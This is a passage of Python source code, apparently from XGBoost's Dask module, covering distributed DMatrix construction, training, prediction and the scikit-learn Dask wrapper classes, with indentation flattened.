if name in list_of_parts[i]:
part = list_of_parts[i][name]
else:
part = None
if part is not None:
if name not in result:
result[name] = []
result[name].append(part)
for i, _ in enumerate(list_of_parts):
append(i, "data")
append(i, "label")
append(i, "weight")
append(i, "base_margin")
append(i, "qid")
append(i, "label_lower_bound")
append(i, "label_upper_bound")
return result
class DaskPartitionIter(DataIter): # pylint: disable=R0902
"""A data iterator for `DaskDeviceQuantileDMatrix`."""
def __init__(
self,
data: List[Any],
label: Optional[List[Any]] = None,
weight: Optional[List[Any]] = None,
base_margin: Optional[List[Any]] = None,
qid: Optional[List[Any]] = None,
label_lower_bound: Optional[List[Any]] = None,
label_upper_bound: Optional[List[Any]] = None,
feature_names: Optional[FeatureNames] = None,
feature_types: Optional[Union[Any, List[Any]]] = None,
) -> None:
self._data = data
self._label = label
self._weight = weight
self._base_margin = base_margin
self._qid = qid
self._label_lower_bound = label_lower_bound
self._label_upper_bound = label_upper_bound
self._feature_names = feature_names
self._feature_types = feature_types
assert isinstance(self._data, collections.abc.Sequence)
types = (collections.abc.Sequence, type(None))
assert isinstance(self._label, types)
assert isinstance(self._weight, types)
assert isinstance(self._base_margin, types)
assert isinstance(self._label_lower_bound, types)
assert isinstance(self._label_upper_bound, types)
self._iter = 0 # set iterator to 0
super().__init__()
def _get(self, attr: str) -> Optional[Any]:
if getattr(self, attr) is not None:
return getattr(self, attr)[self._iter]
return None
def data(self) -> Any:
"""Utility function for obtaining current batch of data."""
return self._data[self._iter]
def reset(self) -> None:
"""Reset the iterator"""
self._iter = 0
def next(self, input_data: Callable) -> int:
"""Yield next batch of data"""
if self._iter == len(self._data):
# Return 0 when there's no more batch.
return 0
feature_names: Optional[FeatureNames] = None
if self._feature_names:
feature_names = self._feature_names
else:
if hasattr(self.data(), "columns"):
feature_names = self.data().columns.format()
else:
feature_names = None
input_data(
data=self.data(),
label=self._get("_label"),
weight=self._get("_weight"),
group=None,
qid=self._get("_qid"),
base_margin=self._get("_base_margin"),
label_lower_bound=self._get("_label_lower_bound"),
label_upper_bound=self._get("_label_upper_bound"),
feature_names=feature_names,
feature_types=self._feature_types,
)
self._iter += 1
return 1
class DaskDeviceQuantileDMatrix(DaskDMatrix):
"""Specialized data type for `gpu_hist` tree method. This class is used to reduce the
memory usage by eliminating data copies. Internally the all partitions/chunks of data
are merged by weighted GK sketching. So the number of partitions from dask may affect
training accuracy as GK generates bounded error for each merge. See doc string for
:py:obj:`xgboost.DeviceQuantileDMatrix` and :py:obj:`xgboost.DMatrix` for other
parameters.
.. versionadded:: 1.2.0
Parameters
----------
max_bin : Number of bins for histogram construction.
"""
@_deprecate_positional_args
def __init__(
self,
client: "distributed.Client",
data: _DaskCollection,
label: Optional[_DaskCollection] = None,
*,
weight: Optional[_DaskCollection] = None,
base_margin: Optional[_DaskCollection] = None,
missing: float = None,
silent: bool = False, # disable=unused-argument
feature_names: Optional[FeatureNames] = None,
feature_types: Optional[Union[Any, List[Any]]] = None,
max_bin: int = 256,
group: Optional[_DaskCollection] = None,
qid: Optional[_DaskCollection] = None,
label_lower_bound: Optional[_DaskCollection] = None,
label_upper_bound: Optional[_DaskCollection] = None,
feature_weights: Optional[_DaskCollection] = None,
enable_categorical: bool = False,
) -> None:
super().__init__(
client=client,
data=data,
label=label,
weight=weight,
base_margin=base_margin,
group=group,
qid=qid,
label_lower_bound=label_lower_bound,
label_upper_bound=label_upper_bound,
missing=missing,
silent=silent,
feature_weights=feature_weights,
feature_names=feature_names,
feature_types=feature_types,
enable_categorical=enable_categorical,
)
self.max_bin = max_bin
self.is_quantile = True
def _create_fn_args(self, worker_addr: str) -> Dict[str, Any]:
args = super()._create_fn_args(worker_addr)
args["max_bin"] = self.max_bin
return args
def _create_device_quantile_dmatrix(
feature_names: Optional[FeatureNames],
feature_types: Optional[Union[Any, List[Any]]],
feature_weights: Optional[Any],
missing: float,
nthread: int,
parts: Optional[_DataParts],
max_bin: int,
enable_categorical: bool,
) -> DeviceQuantileDMatrix:
worker = distributed.get_worker()
if parts is None:
msg = f"worker {worker.address} has an empty DMatrix."
LOGGER.warning(msg)
import cupy
d = DeviceQuantileDMatrix(
cupy.zeros((0, 0)),
feature_names=feature_names,
feature_types=feature_types,
max_bin=max_bin,
enable_categorical=enable_categorical,
)
return d
unzipped_dict = _get_worker_parts(parts)
it = DaskPartitionIter(**unzipped_dict)
dmatrix = DeviceQuantileDMatrix(
it,
missing=missing,
feature_names=feature_names,
feature_types=feature_types,
nthread=nthread,
max_bin=max_bin,
enable_categorical=enable_categorical,
)
dmatrix.set_info(feature_weights=feature_weights)
return dmatrix
def _create_dmatrix(
feature_names: Optional[FeatureNames],
feature_types: Optional[Union[Any, List[Any]]],
feature_weights: Optional[Any],
missing: float,
nthread: int,
enable_categorical: bool,
parts: Optional[_DataParts],
) -> DMatrix:
"""Get data that local to worker from DaskDMatrix.
Returns
-------
A DMatrix object.
"""
worker = distributed.get_worker()
list_of_parts = parts
if list_of_parts is None:
msg = f"worker {worker.address} has an empty DMatrix."
LOGGER.warning(msg)
d = DMatrix(
numpy.empty((0, 0)),
feature_names=feature_names,
feature_types=feature_types,
enable_categorical=enable_categorical,
)
return d
T = TypeVar("T")
def concat_or_none(data: Sequence[Optional[T]]) -> Optional[T]:
if any(part is None for part in data):
return None
return concat(data)
unzipped_dict = _get_worker_parts(list_of_parts)
concated_dict: Dict[str, Any] = {}
for key, value in unzipped_dict.items():
v = concat_or_none(value)
concated_dict[key] = v
dmatrix = DMatrix(
**concated_dict,
missing=missing,
feature_names=feature_names,
feature_types=feature_types,
nthread=nthread,
enable_categorical=enable_categorical,
feature_weights=feature_weights,
)
return dmatrix
def _dmatrix_from_list_of_parts(
is_quantile: bool, **kwargs: Any
) -> Union[DMatrix, DeviceQuantileDMatrix]:
if is_quantile:
return _create_device_quantile_dmatrix(**kwargs)
return _create_dmatrix(**kwargs)
async def _get_rabit_args(
n_workers: int, dconfig: Optional[Dict[str, Any]], client: "distributed.Client"
) -> List[bytes]:
"""Get rabit context arguments from data distribution in DaskDMatrix."""
# There are 3 possible different addresses:
# 1. Provided by user via dask.config
# 2. Guessed by xgboost `get_host_ip` function
# 3. From dask scheduler
# We try 1 and 3 if 1 is available, otherwise 2 and 3.
valid_config = ["scheduler_address"]
# See if user config is available
host_ip: Optional[str] = None
port: int = 0
if dconfig is not None:
for k in dconfig:
if k not in valid_config:
raise ValueError(f"Unknown configuration: {k}")
host_ip = dconfig.get("scheduler_address", None)
try:
host_ip, port = distributed.comm.get_address_host_port(host_ip)
except ValueError:
pass
if host_ip is not None:
user_addr = (host_ip, port)
else:
user_addr = None
# Try address from dask scheduler, this might not work, see
# https://github.com/dask/dask-xgboost/pull/40
try:
sched_addr = distributed.comm.get_address_host(client.scheduler.address)
sched_addr = sched_addr.strip("/:")
except Exception: # pylint: disable=broad-except
sched_addr = None
env = await client.run_on_scheduler(
_start_tracker, n_workers, sched_addr, user_addr
)
rabit_args = [f"{k}={v}".encode() for k, v in env.items()]
return rabit_args
def _get_dask_config() -> Optional[Dict[str, Any]]:
return dask.config.get("xgboost", default=None)
# train and predict methods are supposed to be "functional", which meets the
# dask paradigm. But as a side effect, the `evals_result` in single-node API
# is no longer supported since it mutates the input parameter, and it's not
# intuitive to sync the mutation result. Therefore, a dictionary containing
# evaluation history is instead returned.
def _get_workers_from_data(
dtrain: DaskDMatrix, evals: Optional[Sequence[Tuple[DaskDMatrix, str]]]
) -> List[str]:
X_worker_map: Set[str] = set(dtrain.worker_map.keys())
if evals:
for e in evals:
assert len(e) == 2
assert isinstance(e[0], DaskDMatrix) and isinstance(e[1], str)
if e[0] is dtrain:
continue
worker_map = set(e[0].worker_map.keys())
X_worker_map = X_worker_map.union(worker_map)
return list(X_worker_map)
async def _train_async(
client: "distributed.Client",
global_config: Dict[str, Any],
dconfig: Optional[Dict[str, Any]],
params: Dict[str, Any],
dtrain: DaskDMatrix,
num_boost_round: int,
evals: Optional[Sequence[Tuple[DaskDMatrix, str]]],
obj: Optional[Objective],
feval: Optional[Metric],
early_stopping_rounds: Optional[int],
verbose_eval: Union[int, bool],
xgb_model: Optional[Booster],
callbacks: Optional[Sequence[TrainingCallback]],
custom_metric: Optional[Metric],
) -> Optional[TrainReturnT]:
workers = _get_workers_from_data(dtrain, evals)
_rabit_args = await _get_rabit_args(len(workers), dconfig, client)
if params.get("booster", None) == "gblinear":
raise NotImplementedError(
f"booster `{params['booster']}` is not yet supported for dask."
)
def dispatched_train(
parameters: Dict,
rabit_args: List[bytes],
train_id: int,
evals_name: List[str],
evals_id: List[int],
train_ref: dict,
*refs: dict,
) -> Optional[TrainReturnT]:
worker = distributed.get_worker()
local_param = parameters.copy()
n_threads = 0
for p in ["nthread", "n_jobs"]:
if (
local_param.get(p, None) is not None
and local_param.get(p, worker.nthreads) != worker.nthreads
):
LOGGER.info("Overriding `nthreads` defined in dask worker.")
n_threads = local_param[p]
break
if n_threads == 0 or n_threads is None:
n_threads = worker.nthreads
local_param.update({"nthread": n_threads, "n_jobs": n_threads})
local_history: TrainingCallback.EvalsLog = {}
with RabitContext(rabit_args), config.config_context(**global_config):
Xy = _dmatrix_from_list_of_parts(**train_ref, nthread=n_threads)
evals: List[Tuple[DMatrix, str]] = []
for i, ref in enumerate(refs):
if evals_id[i] == train_id:
evals.append((Xy, evals_name[i]))
continue
eval_Xy = _dmatrix_from_list_of_parts(**ref, nthread=n_threads)
evals.append((eval_Xy, evals_name[i]))
booster = worker_train(
params=local_param,
dtrain=Xy,
num_boost_round=num_boost_round,
evals_result=local_history,
evals=evals if len(evals) != 0 else None,
obj=obj,
feval=feval,
custom_metric=custom_metric,
early_stopping_rounds=early_stopping_rounds,
verbose_eval=verbose_eval,
xgb_model=xgb_model,
callbacks=callbacks,
)
if Xy.num_row() != 0:
ret: Optional[TrainReturnT] = {
"booster": booster,
"history": local_history,
}
else:
ret = None
return ret
async with _multi_lock()(workers, client):
if evals is not None:
evals_data = [d for d, n in evals]
evals_name = [n for d, n in evals]
evals_id = [id(d) for d in evals_data]
else:
evals_data = []
evals_name = []
evals_id = []
results = await map_worker_partitions(
client,
dispatched_train,
params,
_rabit_args,
id(dtrain),
evals_name,
evals_id,
*([dtrain] + evals_data),
workers=workers,
)
return list(filter(lambda ret: ret is not None, results))[0]
@_deprecate_positional_args
def train( # pylint: disable=unused-argument
client: "distributed.Client",
params: Dict[str, Any],
dtrain: DaskDMatrix,
num_boost_round: int = 10,
*,
evals: Optional[Sequence[Tuple[DaskDMatrix, str]]] = None,
obj: Optional[Objective] = None,
feval: Optional[Metric] = None,
early_stopping_rounds: Optional[int] = None,
xgb_model: Optional[Booster] = None,
verbose_eval: Union[int, bool] = True,
callbacks: Optional[Sequence[TrainingCallback]] = None,
custom_metric: Optional[Metric] = None,
) -> Any:
"""Train XGBoost model.
.. versionadded:: 1.0.0
.. note::
Other parameters are the same as :py:func:`xgboost.train` except for
`evals_result`, which is returned as part of function return value instead of
argument.
Parameters
----------
client :
Specify the dask client used for training. Use default client returned from dask
if it's set to None.
Returns
-------
results: dict
A dictionary containing trained booster and evaluation history. `history` field
is the same as `eval_result` from `xgboost.train`.
.. code-block:: python
{'booster': xgboost.Booster,
'history': {'train': {'logloss': ['0.48253', '0.35953']},
'eval': {'logloss': ['0.480385', '0.357756']}}}
"""
_assert_dask_support()
client = _xgb_get_client(client)
args = locals()
return client.sync(
_train_async,
global_config=config.get_config(),
dconfig=_get_dask_config(),
**args,
)
def _can_output_df(is_df: bool, output_shape: Tuple) -> bool:
return is_df and len(output_shape) <= 2
def _maybe_dataframe(
data: Any, prediction: Any, columns: List[int], is_df: bool
) -> Any:
"""Return dataframe for prediction when applicable."""
if _can_output_df(is_df, prediction.shape):
# Need to preserve the index for dataframe.
# See issue: https://github.com/dmlc/xgboost/issues/6939
# In older versions of dask, the partition is actually a numpy array when input is
# dataframe.
index = getattr(data, "index", None)
if lazy_isinstance(data, "cudf.core.dataframe", "DataFrame"):
import cudf
if prediction.size == 0:
return cudf.DataFrame({}, columns=columns, dtype=numpy.float32)
prediction = cudf.DataFrame(
prediction, columns=columns, dtype=numpy.float32, index=index
)
else:
if prediction.size == 0:
return DataFrame({}, columns=columns, dtype=numpy.float32, index=index)
prediction = DataFrame(
prediction, columns=columns, dtype=numpy.float32, index=index
)
return prediction
async def _direct_predict_impl( # pylint: disable=too-many-branches
mapped_predict: Callable,
booster: "distributed.Future",
data: _DaskCollection,
base_margin: Optional[_DaskCollection],
output_shape: Tuple[int, ...],
meta: Dict[int, str],
) -> _DaskCollection:
columns = tuple(meta.keys())
if len(output_shape) >= 3 and isinstance(data, dd.DataFrame):
# Without this check, dask will finish the prediction silently even if output
# dimension is greater than 3. But during map_partitions, dask passes a
# `dd.DataFrame` as local input to xgboost, which is converted to csr_matrix by
# `_convert_unknown_data` since dd.DataFrame is not known to xgboost native
# binding.
raise ValueError(
"Use `da.Array` or `DaskDMatrix` when output has more than 2 dimensions."
)
if _can_output_df(isinstance(data, dd.DataFrame), output_shape):
if base_margin is not None and isinstance(base_margin, da.Array):
# Easier for map_partitions
base_margin_df: Optional[dd.DataFrame] = base_margin.to_dask_dataframe()
else:
base_margin_df = base_margin
predictions = dd.map_partitions(
mapped_predict,
booster,
data,
True,
columns,
base_margin_df,
meta=dd.utils.make_meta(meta),
)
# classification can return a dataframe, drop 1 dim when it's reg/binary
if len(output_shape) == 1:
predictions = predictions.iloc[:, 0]
else:
if base_margin is not None and isinstance(
base_margin, (dd.Series, dd.DataFrame)
):
# Easier for map_blocks
base_margin_array: Optional[da.Array] = base_margin.to_dask_array()
else:
base_margin_array = base_margin
# Input data is 2-dim array, output can be 1(reg, binary)/2(multi-class,
# contrib)/3(contrib, interaction)/4(interaction) dims.
if len(output_shape) == 1:
drop_axis: Union[int, List[int]] = [1] # drop from 2 to 1 dim.
new_axis: Union[int, List[int]] = []
else:
drop_axis = []
if isinstance(data, dd.DataFrame):
new_axis = list(range(len(output_shape) - 2))
else:
new_axis = [i + 2 for i in range(len(output_shape) - 2)]
if len(output_shape) == 2:
# Somehow dask fail to infer output shape change for 2-dim prediction, and
# `chunks = (None, output_shape[1])` doesn't work due to None is not
# supported in map_blocks.
chunks: Optional[List[Tuple]] = list(data.chunks)
assert isinstance(chunks, list)
chunks[1] = (output_shape[1],)
else:
chunks = None
predictions = da.map_blocks(
mapped_predict,
booster,
data,
False,
columns,
base_margin_array,
chunks=chunks,
drop_axis=drop_axis,
new_axis=new_axis,
dtype=numpy.float32,
)
return predictions
def _infer_predict_output(
booster: Booster, features: int, is_df: bool, inplace: bool, **kwargs: Any
) -> Tuple[Tuple[int, ...], Dict[int, str]]:
"""Create a dummy test sample to infer output shape for prediction."""
assert isinstance(features, int)
rng = numpy.random.RandomState(1994)
test_sample = rng.randn(1, features)
if inplace:
kwargs = kwargs.copy()
if kwargs.pop("predict_type") == "margin":
kwargs["output_margin"] = True
m = DMatrix(test_sample)
# generated DMatrix doesn't have feature name, so no validation.
test_predt = booster.predict(m, validate_features=False, **kwargs)
n_columns = test_predt.shape[1] if len(test_predt.shape) > 1 else 1
meta: Dict[int, str] = {}
if _can_output_df(is_df, test_predt.shape):
for i in range(n_columns):
meta[i] = "f4"
return test_predt.shape, meta
async def _get_model_future(
client: "distributed.Client", model: Union[Booster, Dict, "distributed.Future"]
) -> "distributed.Future":
if isinstance(model, Booster):
booster = await client.scatter(model, broadcast=True)
elif isinstance(model, dict):
booster = await client.scatter(model["booster"], broadcast=True)
elif isinstance(model, distributed.Future):
booster = model
if booster.type is not Booster:
raise TypeError(
f"Underlying type of model future should be `Booster`, got {booster.type}"
)
else:
raise TypeError(_expect([Booster, dict, distributed.Future], type(model)))
return booster
# pylint: disable=too-many-statements
async def _predict_async(
client: "distributed.Client",
global_config: Dict[str, Any],
model: Union[Booster, Dict, "distributed.Future"],
data: _DaskCollection,
output_margin: bool,
missing: float,
pred_leaf: bool,
pred_contribs: bool,
approx_contribs: bool,
pred_interactions: bool,
validate_features: bool,
iteration_range: Tuple[int, int],
strict_shape: bool,
) -> _DaskCollection:
_booster = await _get_model_future(client, model)
if not isinstance(data, (DaskDMatrix, da.Array, dd.DataFrame)):
raise TypeError(_expect([DaskDMatrix, da.Array, dd.DataFrame], type(data)))
def mapped_predict(
booster: Booster, partition: Any, is_df: bool, columns: List[int], _: Any
) -> Any:
with config.config_context(**global_config):
m = DMatrix(
data=partition,
missing=missing,
enable_categorical=_has_categorical(booster, partition)
)
predt = booster.predict(
data=m,
output_margin=output_margin,
pred_leaf=pred_leaf,
pred_contribs=pred_contribs,
approx_contribs=approx_contribs,
pred_interactions=pred_interactions,
validate_features=validate_features,
iteration_range=iteration_range,
strict_shape=strict_shape,
)
predt = _maybe_dataframe(partition, predt, columns, is_df)
return predt
# Predict on dask collection directly.
if isinstance(data, (da.Array, dd.DataFrame)):
_output_shape, meta = await client.compute(
client.submit(
_infer_predict_output,
_booster,
features=data.shape[1],
is_df=isinstance(data, dd.DataFrame),
inplace=False,
output_margin=output_margin,
pred_leaf=pred_leaf,
pred_contribs=pred_contribs,
approx_contribs=approx_contribs,
pred_interactions=pred_interactions,
strict_shape=strict_shape,
)
)
return await _direct_predict_impl(
mapped_predict, _booster, data, None, _output_shape, meta
)
output_shape, _ = await client.compute(
client.submit(
_infer_predict_output,
booster=_booster,
features=data.num_col(),
is_df=False,
inplace=False,
output_margin=output_margin,
pred_leaf=pred_leaf,
pred_contribs=pred_contribs,
approx_contribs=approx_contribs,
pred_interactions=pred_interactions,
strict_shape=strict_shape,
)
)
# Prediction on dask DMatrix.
partition_order = data.partition_order
feature_names = data.feature_names
feature_types = data.feature_types
missing = data.missing
def dispatched_predict(booster: Booster, part: Dict[str, Any]) -> numpy.ndarray:
data = part["data"]
base_margin = part.get("base_margin", None)
with config.config_context(**global_config):
m = DMatrix(
data,
missing=missing,
base_margin=base_margin,
feature_names=feature_names,
feature_types=feature_types,
)
predt = booster.predict(
m,
output_margin=output_margin,
pred_leaf=pred_leaf,
pred_contribs=pred_contribs,
approx_contribs=approx_contribs,
pred_interactions=pred_interactions,
validate_features=validate_features,
iteration_range=iteration_range,
strict_shape=strict_shape,
)
return predt
all_parts = []
all_orders = []
all_shapes = []
all_workers: List[str] = []
workers_address = list(data.worker_map.keys())
for worker_addr in workers_address:
list_of_parts = data.worker_map[worker_addr]
all_parts.extend(list_of_parts)
all_workers.extend(len(list_of_parts) * [worker_addr])
all_orders.extend([partition_order[part.key] for part in list_of_parts])
for w, part in zip(all_workers, all_parts):
s = client.submit(lambda part: part["data"].shape[0], part, workers=[w])
all_shapes.append(s)
parts_with_order = list(zip(all_parts, all_shapes, all_orders, all_workers))
parts_with_order = sorted(parts_with_order, key=lambda p: p[2])
all_parts = [part for part, shape, order, w in parts_with_order]
all_shapes = [shape for part, shape, order, w in parts_with_order]
all_workers = [w for part, shape, order, w in parts_with_order]
futures = []
for w, part in zip(all_workers, all_parts):
f = client.submit(dispatched_predict, _booster, part, workers=[w])
futures.append(f)
# Constructing a dask array from list of numpy arrays
# See https://docs.dask.org/en/latest/array-creation.html
arrays = []
all_shapes = await client.gather(all_shapes)
for i, rows in enumerate(all_shapes):
arrays.append(
da.from_delayed(
futures[i], shape=(rows,) + output_shape[1:], dtype=numpy.float32
)
)
predictions = da.concatenate(arrays, axis=0)
return predictions
def predict( # pylint: disable=unused-argument
client: "distributed.Client",
model: Union[TrainReturnT, Booster, "distributed.Future"],
data: Union[DaskDMatrix, _DaskCollection],
output_margin: bool = False,
missing: float = numpy.nan,
pred_leaf: bool = False,
pred_contribs: bool = False,
approx_contribs: bool = False,
pred_interactions: bool = False,
validate_features: bool = True,
iteration_range: Tuple[int, int] = (0, 0),
strict_shape: bool = False,
) -> Any:
"""Run prediction with a trained booster.
.. note::
Using ``inplace_predict`` might be faster when some features are not needed. See
:py:meth:`xgboost.Booster.predict` for details on various parameters. When output
has more than 2 dimensions (shap value, leaf with strict_shape), input should be
``da.Array`` or ``DaskDMatrix``.
.. versionadded:: 1.0.0
Parameters
----------
client:
Specify the dask client used for training. Use default client
returned from dask if it's set to None.
model:
The trained model. It can be a distributed.Future so user can
pre-scatter it onto all workers.
data:
Input data used for prediction. When input is a dataframe object,
prediction output is a series.
missing:
Used when input data is not DaskDMatrix. Specify the value
considered as missing.
Returns
-------
prediction: dask.array.Array/dask.dataframe.Series
When input data is ``dask.array.Array`` or ``DaskDMatrix``, the return value is an
array, when input data is ``dask.dataframe.DataFrame``, return value can be
``dask.dataframe.Series``, ``dask.dataframe.DataFrame``, depending on the output
shape.
"""
_assert_dask_support()
client = _xgb_get_client(client)
return client.sync(_predict_async, global_config=config.get_config(), **locals())
async def _inplace_predict_async( # pylint: disable=too-many-branches
client: "distributed.Client",
global_config: Dict[str, Any],
model: Union[Booster, Dict, "distributed.Future"],
data: _DaskCollection,
iteration_range: Tuple[int, int],
predict_type: str,
missing: float,
validate_features: bool,
base_margin: Optional[_DaskCollection],
strict_shape: bool,
) -> _DaskCollection:
client = _xgb_get_client(client)
booster = await _get_model_future(client, model)
if not isinstance(data, (da.Array, dd.DataFrame)):
raise TypeError(_expect([da.Array, dd.DataFrame], type(data)))
if base_margin is not None and not isinstance(
data, (da.Array, dd.DataFrame, dd.Series)
):
raise TypeError(_expect([da.Array, dd.DataFrame, dd.Series], type(base_margin)))
def mapped_predict(
booster: Booster,
partition: Any,
is_df: bool,
columns: List[int],
base_margin: Any,
) -> Any:
with config.config_context(**global_config):
prediction = booster.inplace_predict(
partition,
iteration_range=iteration_range,
predict_type=predict_type,
missing=missing,
base_margin=base_margin,
validate_features=validate_features,
strict_shape=strict_shape,
)
prediction = _maybe_dataframe(partition, prediction, columns, is_df)
return prediction
# await turns future into value.
shape, meta = await client.compute(
client.submit(
_infer_predict_output,
booster,
features=data.shape[1],
is_df=isinstance(data, dd.DataFrame),
inplace=True,
predict_type=predict_type,
iteration_range=iteration_range,
strict_shape=strict_shape,
)
)
return await _direct_predict_impl(
mapped_predict, booster, data, base_margin, shape, meta
)
def inplace_predict( # pylint: disable=unused-argument
client: "distributed.Client",
model: Union[TrainReturnT, Booster, "distributed.Future"],
data: _DaskCollection,
iteration_range: Tuple[int, int] = (0, 0),
predict_type: str = "value",
missing: float = numpy.nan,
validate_features: bool = True,
base_margin: Optional[_DaskCollection] = None,
strict_shape: bool = False,
) -> Any:
"""Inplace prediction. See doc in :py:meth:`xgboost.Booster.inplace_predict` for details.
.. versionadded:: 1.1.0
Parameters
----------
client:
Specify the dask client used for training. Use default client
returned from dask if it's set to None.
model:
See :py:func:`xgboost.dask.predict` for details.
data :
dask collection.
iteration_range:
See :py:meth:`xgboost.Booster.predict` for details.
predict_type:
See :py:meth:`xgboost.Booster.inplace_predict` for details.
missing:
Value in the input data which needs to be present as a missing
value. If None, defaults to np.nan.
base_margin:
See :py:obj:`xgboost.DMatrix` for details.
.. versionadded:: 1.4.0
strict_shape:
See :py:meth:`xgboost.Booster.predict` for details.
.. versionadded:: 1.4.0
Returns
-------
prediction :
When input data is ``dask.array.Array``, the return value is an array, when input
data is ``dask.dataframe.DataFrame``, return value can be
``dask.dataframe.Series``, ``dask.dataframe.DataFrame``, depending on the output
shape.
"""
_assert_dask_support()
client = _xgb_get_client(client)
# When used in asynchronous environment, the `client` object should have
# `asynchronous` attribute as True. When invoked by the skl interface, it's
# responsible for setting up the client.
return client.sync(
_inplace_predict_async, global_config=config.get_config(), **locals()
)
async def _async_wrap_evaluation_matrices(
client: "distributed.Client", **kwargs: Any
) -> Tuple[DaskDMatrix, Optional[List[Tuple[DaskDMatrix, str]]]]:
"""A switch function for async environment."""
def _inner(**kwargs: Any) -> DaskDMatrix:
m = DaskDMatrix(client=client, **kwargs)
return m
train_dmatrix, evals = _wrap_evaluation_matrices(create_dmatrix=_inner, **kwargs)
train_dmatrix = await train_dmatrix
if evals is None:
return train_dmatrix, evals
awaited = []
for e in evals:
if e[0] is train_dmatrix: # already awaited
awaited.append(e)
continue
awaited.append((await e[0], e[1]))
return train_dmatrix, awaited
@contextmanager
def _set_worker_client(
model: "DaskScikitLearnBase", client: "distributed.Client"
) -> Generator:
"""Temporarily set the client for sklearn model."""
try:
model.client = client
yield model
finally:
model.client = None
class DaskScikitLearnBase(XGBModel):
"""Base class for implementing scikit-learn interface with Dask"""
_client = None
async def _predict_async(
self,
data: _DaskCollection,
output_margin: bool,
validate_features: bool,
base_margin: Optional[_DaskCollection],
iteration_range: Optional[Tuple[int, int]],
) -> Any:
iteration_range = self._get_iteration_range(iteration_range)
if self._can_use_inplace_predict():
predts = await inplace_predict(
client=self.client,
model=self.get_booster(),
data=data,
iteration_range=iteration_range,
predict_type="margin" if output_margin else "value",
missing=self.missing,
base_margin=base_margin,
validate_features=validate_features,
)
if isinstance(predts, dd.DataFrame):
predts = predts.to_dask_array()
else:
test_dmatrix = await DaskDMatrix(
self.client,
data=data,
base_margin=base_margin,
missing=self.missing,
feature_types=self.feature_types
)
predts = await predict(
self.client,
model=self.get_booster(),
data=test_dmatrix,
output_margin=output_margin,
validate_features=validate_features,
iteration_range=iteration_range,
)
return predts
def predict(
self,
X: _DaskCollection,
output_margin: bool = False,
ntree_limit: Optional[int] = None,
validate_features: bool = True,
base_margin: Optional[_DaskCollection] = None,
iteration_range: Optional[Tuple[int, int]] = None,
) -> Any:
_assert_dask_support()
msg = "`ntree_limit` is not supported on dask, use `iteration_range` instead."
assert ntree_limit is None, msg
return self.client.sync(
self._predict_async,
X,
output_margin=output_margin,
validate_features=validate_features,
base_margin=base_margin,
iteration_range=iteration_range,
)
async def _apply_async(
self,
X: _DaskCollection,
iteration_range: Optional[Tuple[int, int]] = None,
) -> Any:
iteration_range = self._get_iteration_range(iteration_range)
test_dmatrix = await DaskDMatrix(
self.client, data=X, missing=self.missing, feature_types=self.feature_types,
)
predts = await predict(
self.client,
model=self.get_booster(),
data=test_dmatrix,
pred_leaf=True,
iteration_range=iteration_range,
)
return predts
def apply(
self,
X: _DaskCollection,
ntree_limit: Optional[int] = None,
iteration_range: Optional[Tuple[int, int]] = None,
) -> Any:
_assert_dask_support()
msg = "`ntree_limit` is not supported on dask, use `iteration_range` instead."
assert ntree_limit is None, msg
return self.client.sync(self._apply_async, X, iteration_range=iteration_range)
def __await__(self) -> Awaitable[Any]:
# Generate a coroutine wrapper to make this class awaitable.
async def _() -> Awaitable[Any]:
return self
return self._client_sync(_).__await__()
def __getstate__(self) -> Dict:
this = self.__dict__.copy()
if "_client" in this.keys():
del this["_client"]
return this
@property
def client(self) -> "distributed.Client":
"""The dask client used in this model. The `Client` object can not be serialized for
transmission, so if task is launched from a worker instead of directly from the
client process, this attribute needs to be set at that worker.
"""
client = _xgb_get_client(self._client)
return client
@client.setter
def client(self, clt: "distributed.Client") -> None:
# calling `worker_client' doesn't return the correct `asynchronous` attribute, so
# we have to pass it ourselves.
self._asynchronous = clt.asynchronous if clt is not None else False
self._client = clt
def _client_sync(self, func: Callable, **kwargs: Any) -> Any:
"""Get the correct client, when method is invoked inside a worker we
should use `worker_client' instead of default client.
"""
if self._client is None:
asynchronous = getattr(self, "_asynchronous", False)
try:
distributed.get_worker()
in_worker = True
except ValueError:
in_worker = False
if in_worker:
with distributed.worker_client() as client:
with _set_worker_client(self, client) as this:
ret = this.client.sync(
func, **kwargs, asynchronous=asynchronous
)
return ret
return ret
return self.client.sync(func, **kwargs, asynchronous=self.client.asynchronous)
@xgboost_model_doc(
"""Implementation of the Scikit-Learn API for XGBoost.""", ["estimators", "model"]
)
class DaskXGBRegressor(DaskScikitLearnBase, XGBRegressorBase):
"""dummy doc string to workaround pylint, replaced by the decorator."""
async def _fit_async(
self,
X: _DaskCollection,
y: _DaskCollection,
sample_weight: Optional[_DaskCollection],
base_margin: Optional[_DaskCollection],
eval_set: Optional[Sequence[Tuple[_DaskCollection, _DaskCollection]]],
eval_metric: Optional[Union[str, Sequence[str], Metric]],
sample_weight_eval_set: Optional[Sequence[_DaskCollection]],
base_margin_eval_set: Optional[Sequence[_DaskCollection]],
early_stopping_rounds: Optional[int],
verbose: Union[int, bool],
xgb_model: Optional[Union[Booster, XGBModel]],
feature_weights: Optional[_DaskCollection],
callbacks: Optional[Sequence[TrainingCallback]],
) -> _DaskCollection:
params = self.get_xgb_params()
dtrain, evals = await _async_wrap_evaluation_matrices(
client=self.client,
X=X,
y=y,
group=None,
qid=None,
sample_weight=sample_weight,
base_margin=base_margin,
feature_weights=feature_weights,
eval_set=eval_set,
sample_weight_eval_set=sample_weight_eval_set,
base_margin_eval_set=base_margin_eval_set,
eval_group=None,
eval_qid=None,
missing=self.missing,
enable_categorical=self.enable_categorical,
feature_types=self.feature_types,
)
if callable(self.objective):
obj: Optional[Callable] = _objective_decorator(self.objective)
else:
obj = None
model, metric, params, early_stopping_rounds, callbacks = self._configure_fit(
xgb_model, eval_metric, params, early_stopping_rounds, callbacks
)
results = await self.client.sync(
_train_async,
asynchronous=True,
client=self.client,
global_config=config.get_config(),
dconfig=_get_dask_config(),
params=params,
dtrain=dtrain,
num_boost_round=self.get_num_boosting_rounds(),
evals=evals,
obj=obj,
feval=None,
custom_metric=metric,
verbose_eval=verbose,
early_stopping_rounds=early_stopping_rounds,
callbacks=callbacks,
xgb_model=model,
)
self._Booster = results["booster"]
self._set_evaluation_result(results["history"])
return self
# pylint: disable=missing-docstring, disable=unused-argument
@_deprecate_positional_args
def fit(
self,
X: _DaskCollection,
y: _DaskCollection,
*,
sample_weight: Optional[_DaskCollection] = None,
base_margin: Optional[_DaskCollection] = None,
eval_set: Optional[Sequence[Tuple[_DaskCollection, _DaskCollection]]] = None,
eval_metric: Optional[Union[str, Sequence[str], Callable]] = None,
